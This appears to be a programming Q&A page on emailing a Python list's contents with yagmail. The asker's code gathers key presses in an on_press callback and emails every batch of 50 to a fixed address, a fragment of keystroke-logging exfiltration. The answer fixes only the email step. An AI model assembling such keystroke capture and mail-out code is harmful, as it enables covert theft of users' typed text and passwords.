Search code examples
pythonyagmail

Python - Sending mails using YAGMAIL with lists


So I am trying to send mails with yagmail in Python and I have an array or list I want to send. And when i get the mail there's no content inside it. Why's that?

import yagmail

keys = []

listToStr = ' '.join([str(elem) for elem in keys]) 


def send(keys):
    print('test')
    yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
    yag.send('myactualrecieverishere', 'Test', listToStr)

def on_press(key):
    global keys, count
    count += 1

    if count >= 50:
        count = 0
        send(keys)
        keys = []

Solution

  • So you need to understand a few thing before sending emails through yagmail:

    • yagmail is a wrapper library on top of smtplib, which is a standard lib for sending emails through python.
    • You can either send Plain Text Email or HTML emails. Your case looks more like a Plain text email.

    So, sending mails through yagmail should not functionally differ from smtplib.

    So, the code should be roughly like this:

    import yagmail
    
    keys = ['a','b','c','d']
    listToStr = ' '.join([str(elem) for elem in keys]) 
    
    message = """\
    Subject: Hi there. My list is {}.
    
    This message is sent from Python."""
    
    yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
    yag.send('myactualrecieverishere', 'Test', message.format(listToStr))
    

    This should send a plain email with text in message and {} replaced by listToStr.

    Try the above and then break down your code in methods to achieve your funtionality.